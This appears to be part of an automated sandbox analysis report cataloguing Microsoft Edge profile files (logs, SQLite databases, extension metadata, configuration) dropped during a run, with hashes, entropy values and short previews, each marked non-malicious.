SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	5.147341703139548
Encrypted:	false
SSDEEP:	6:iOrvR+rEvgs1wkn23oH+Tcwt86FB2KLl5vRWPRq2Pwkn23oH+Tcwt865IFUv:7hgLfYeb/FFLavYfYeb/WFUv
MD5:	A0EF76105DD6FFF584B1EA8A99B0293B
SHA1:	BCEA9D10AD67E324221918B7E13693141C9DB87C
SHA-256:	721380BC804D881C6CD2D68841FA2AB02ADBCC17925DFB7BDEC4C43A6551FC76
SHA-512:	7EFDC9BCAC570FAA5708297DC144650F74D988FF77ACDA08A98174EFB19EAC73614B120FCE7F05A972409BEBC40B38B457130FA047CFB8EB24193DF6D4310FF3
Malicious:	false
Preview:	2025/01/09-08:40:57.971 4a0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts since it was missing..2025/01/09-08:40:58.262 4a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.167869893147403
Encrypted:	false
SSDEEP:	6:iOrvRWh+q2Pwkn23oH+Tcwt8NIFUtJvRWjQZmwPvRWjAVkwOwkn23oH+Tcwt8+ed:71vYfYebpFUtH/n5JfYebqJ
MD5:	6C141AF22C2D2F0A02BCD6CB348C4BC0
SHA1:	15CA63A3A22748CC8A8371B9E2FA3A82B5329B4F
SHA-256:	E9556AAAF2485F82B5DA55805A99A63E9B6D4D7AB385C93006F8C520AE00EB97
SHA-512:	EDAC336AA20F805C06E21E3EADF3A6F5190995482D80AB4B8A0FE5A8AF4244A136BC3CE00564145485485447646498CF7F15E5E7A2890F7D9110C68595118D3E
Malicious:	false
Preview:	2025/01/09-08:40:58.817 16a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/01/09-08:40:58.818 16a8 Recovering log #3.2025/01/09-08:40:58.818 16a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.167869893147403
Encrypted:	false
SSDEEP:	6:iOrvRWh+q2Pwkn23oH+Tcwt8NIFUtJvRWjQZmwPvRWjAVkwOwkn23oH+Tcwt8+ed:71vYfYebpFUtH/n5JfYebqJ
MD5:	6C141AF22C2D2F0A02BCD6CB348C4BC0
SHA1:	15CA63A3A22748CC8A8371B9E2FA3A82B5329B4F
SHA-256:	E9556AAAF2485F82B5DA55805A99A63E9B6D4D7AB385C93006F8C520AE00EB97
SHA-512:	EDAC336AA20F805C06E21E3EADF3A6F5190995482D80AB4B8A0FE5A8AF4244A136BC3CE00564145485485447646498CF7F15E5E7A2890F7D9110C68595118D3E
Malicious:	false
Preview:	2025/01/09-08:40:58.817 16a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/01/09-08:40:58.818 16a8 Recovering log #3.2025/01/09-08:40:58.818 16a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	8720
Entropy (8bit):	0.3281731663735024
Encrypted:	false
SSDEEP:	6:6MA/J3+t76Y4QZZofU99pO0BYKqR4EZY4QZvGU:6dhHQws9LdEBQZGU
MD5:	6E6CBA35C0A6F4E8C6168DFA3E852C0B
SHA1:	012A8828CDDA161BE04EE3EAD6C16520D75DDE9B
SHA-256:	68D69AC95C26D06888D8319DDDDF690D392EC9AD09C451AFA506DD893297410C
SHA-512:	06DC904019038D2F39E8164BC760AE6340BD914D2D770EE27B6C60877EEE1174EB08E717395943F2154344BE96CE535ABF205A7F9C53C3B9D76E18C53DF2D311
Malicious:	false
Preview:	.............g;&...'....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.3017687959299717
Encrypted:	false
SSDEEP:	384:qj9P07CP/Kbt3QkQeri773pL1gam6I3hyc/RKToaAu:qdsCP/qe2i7iHv/RKcC
MD5:	3EAC13E8AC23DA05DA4B5C15783EBBA7
SHA1:	A667F1BDADC65F7993D27F1C5036332A78629715
SHA-256:	31E24D1148F5AAB57C2D92368179C26DB7A85DCEF4503E48F966A11241EA754D
SHA-512:	81CFF9BB1E8A8F5CBA74A422055B78F2B40A9AE95FC14983657B296F8BCA69301D494FB524E9398FF5E24549F8CDC9E94732DD3BE67070471E44AC2CDB63A1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.2626084274769624
Encrypted:	false
SSDEEP:	12:7L+vYfYeb8rcHEZrELFUtZW/mV5JfYeb8rcHEZrEZSJ:7YYfYeb8nZrExg3JfYeb8nZrEZe
MD5:	CA6360D64B9426C9F792765D95D0B45E
SHA1:	70B84C6BA79AE056865C0414286F9924A9132A1C
SHA-256:	789420E4269A062F9DA5509AE8F3DF55FFDAF65064E9417ECB8904AB9787F5D2
SHA-512:	DEB90659BFD251C0E06E0F5E4628ACACAC36B5AD4046D64679728D6BB03B6B0DE03E3910923F37F018DF7E14F302EB9E13BDE80AD90734FDC563FD5FF1BDCCC5
Malicious:	false
Preview:	2025/01/09-08:41:00.135 17cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/01/09-08:41:00.136 17cc Recovering log #3.2025/01/09-08:41:00.136 17cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.2626084274769624
Encrypted:	false
SSDEEP:	12:7L+vYfYeb8rcHEZrELFUtZW/mV5JfYeb8rcHEZrEZSJ:7YYfYeb8nZrExg3JfYeb8nZrEZe
MD5:	CA6360D64B9426C9F792765D95D0B45E
SHA1:	70B84C6BA79AE056865C0414286F9924A9132A1C
SHA-256:	789420E4269A062F9DA5509AE8F3DF55FFDAF65064E9417ECB8904AB9787F5D2
SHA-512:	DEB90659BFD251C0E06E0F5E4628ACACAC36B5AD4046D64679728D6BB03B6B0DE03E3910923F37F018DF7E14F302EB9E13BDE80AD90734FDC563FD5FF1BDCCC5
Malicious:	false
Preview:	2025/01/09-08:41:00.135 17cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/01/09-08:41:00.136 17cc Recovering log #3.2025/01/09-08:41:00.136 17cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	5.589396844954033
Encrypted:	false
SSDEEP:	48:f8ZaWPHQ24DdrXZARV03Sx497AHHk2GJ348ylsnyG:f8ge54hTKBZdP8os1
MD5:	B5696548B5BE24BA7953F202BE4DA8B3
SHA1:	EC3908658CD4294D70B5FDEF3AE45AFD9A4F9EA2
SHA-256:	2444BAFECA2086DA9BE61E0323B39EAF81CF5F67D5C01F2F66C9FAAFD1A929AA
SHA-512:	DECBF8A2DA49FABE7BB0229C08DFD9F254688A391B6A804D76E820BA01C1BBD4BF20FF0E3C5B746AA84D7656E99FD236F8E6A43C68307728E98E6B9F26AA61B4
Malicious:	false
Preview:	k..S:................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":1079}.!_https://ntp.msn.com..LastKnownPV..1736430068058.-_https://ntp.msn.com..LastVisuallyReadyMarker..1736430069319.._https://ntp.msn.com..MUID!.3AADB05FC3906D36247DA530C2F26CF4.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1736430068156,"schedule":[4,22,18,-1,-1,-1,-1],"scheduleFixed":[4,22,18,-1,-1,-1,-1],"simpleSchedule":[40,16,45,46,21,17,38]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1736430068012.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20250109.199"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_http

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.140087196708573
Encrypted:	false
SSDEEP:	6:iOrvRWKHyq2Pwkn23oH+Tcwt8a2jMGIFUtJvRWnK1ZmwPvRWxRkwOwkn23oH+TcL:7vHyvYfYeb8EFUtT/oR5JfYeb8bJ
MD5:	33FAE829769A232200878E0CDC5B6AF0
SHA1:	8FF775990C57854D1F94EA2AA010ADA0CA9BE231
SHA-256:	D31C40A24F4365EA6F2A4DEC9EB3FF4D61E453926084982FDEBB9924389C00DB
SHA-512:	2D181552809160761A336E5F1E7C6391696E13A1B75020F746BE11005913A8A1AC26878E7047D756F2FC959CC22D880E3F9C9666FC48C846026E5ECFA4FA4FA8
Malicious:	false
Preview:	2025/01/09-08:40:58.249 1850 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/01/09-08:40:58.250 1850 Recovering log #3.2025/01/09-08:40:58.253 1850 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.140087196708573
Encrypted:	false
SSDEEP:	6:iOrvRWKHyq2Pwkn23oH+Tcwt8a2jMGIFUtJvRWnK1ZmwPvRWxRkwOwkn23oH+TcL:7vHyvYfYeb8EFUtT/oR5JfYeb8bJ
MD5:	33FAE829769A232200878E0CDC5B6AF0
SHA1:	8FF775990C57854D1F94EA2AA010ADA0CA9BE231
SHA-256:	D31C40A24F4365EA6F2A4DEC9EB3FF4D61E453926084982FDEBB9924389C00DB
SHA-512:	2D181552809160761A336E5F1E7C6391696E13A1B75020F746BE11005913A8A1AC26878E7047D756F2FC959CC22D880E3F9C9666FC48C846026E5ECFA4FA4FA8
Malicious:	false
Preview:	2025/01/09-08:40:58.249 1850 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2025/01/09-08:40:58.250 1850 Recovering log #3.2025/01/09-08:40:58.253 1850 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\117cce0f-f75d-4ac7-b047-a08350b2417b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7df0e2ac-1374-4029-98b1-e14a5147c55f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22
Entropy (8bit):	3.788754913993502
Encrypted:	false
SSDEEP:	3:YWRAW4J2LSQ:YWyW5SQ
MD5:	3BB76EC23C5506830EAD56540E06159F
SHA1:	94695E47D907E559E91E677CEC4EB763DC0C5CA9
SHA-256:	6B40F4AE548688A472BE3CA0C1B08ECF520B31E706FEC0F9793B4666134EBA06
SHA-512:	307F9BD06CA5EE753ACDC450CF1599DFC8ED080D9A1B19D752DD9B7950377A5B04E44D374F12ED76ABD74961C2B1F8AD6C93E4663EA77F5D6E066570C1AA6BAD
Malicious:	false
Preview:	{"sts":[],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8693e2de-734c-4339-bafd-d6d14e202488.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7710912945652386
Encrypted:	false
SSDEEP:	192:tTqfVYA1HWBm0U++0xywH043xJ3Xcf0L/ZJVb:VqfVYE4XUj0EwbXI0LhJVb
MD5:	F7D3786C3468262DD2587897566B2B8B
SHA1:	B40001D1C9BC547953A0866163F1FED117BCFD2F
SHA-256:	9245051E0FE53C6EB7E1FA0931A822504A458D2D550BA17A2E78D621B7EBE91B
SHA-512:	2C83B93227C72F4680CD60999059B13131F079418DA0CCBFA7E99D767B6563CE960BA38D6D617AA5D3E268FA4F6421A4AD231019DD6F62B25A6E714C987B664C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
